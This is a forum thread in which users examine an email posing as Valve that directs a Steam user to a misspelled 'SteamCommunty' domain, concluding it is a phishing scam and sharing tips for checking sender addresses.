Spoiler

Your Steam Account ID: 4xxxx0
Dear 4xxxx0, On Saturday May 03, 2008 - Valve conducted a random screening to further pursue the termination of stolen accounts. Your account fell into the ID range of our scans, it is recommended to update your passwords and email. You are able to do this either through your Steam client or even quicker through our online community. ( TM: SteamCommunty.com ) Sincerely, -Valve CyberCafe Staff

Anything wrong with my account? I had bought the games from Valve sites before..

just make sure the links in the email point to where they are supposed to - and its not a phishing scam

 

[Sarge]

Looks fishy to me .. never recieved or heard of any such e-mail from Valve.

 

[Naga]

Changing the passwords and e-mail thru the steam client should not be a problem, should it?

 

[Audi0slave]

its a scam, these 12 yr old nitwits are getting craftier by the day :|.

first of all Valve will never send emails like these

also to be on the safe side change your email/pass through steam client only.

 

[techie_007]

do it just in case why take a chance? n if u do it through the client, ur anyways pretty safe i guess.

 

[Dr.ashish]

valve wont tell u before banning ur account if they have to...they will just ban u..n u wont even know it..its probably a scam

[ashr]

[kauzy]

I pulled of a stunt like this with my friend's gmail account. The user ID was something like "server.a19c@gmail.com"

Got it boss.. the email was from steamcommunty

I read it as Community.. I am too much in this Pishing and all.. But did mistake reading the original senders email.

 

[Sarge]

LoL ya never noticed the typo .. its surely a scam.

 

[Sarge]

I found out that steamcommunty.com domain was recently refunded and available for grabs only 6 months ago .. a definite proof towards a scam. Why would steam ever .. ever refund its domain. (Unless they realized the typo)

Here is the link

 

[rPOk]

hahahaha....had it not been discovered, it'd have surely made it to AIDW

 

[shahbaaz_vision]

dude, please checkout the senders email address and sender's messaging domain. e.g. it should be <valve Incorp> abc@valve.com and not <valve Incorp> xyz@gafla.com . if you find the .com to be different other than valve or related domain than put it into spam or scam.
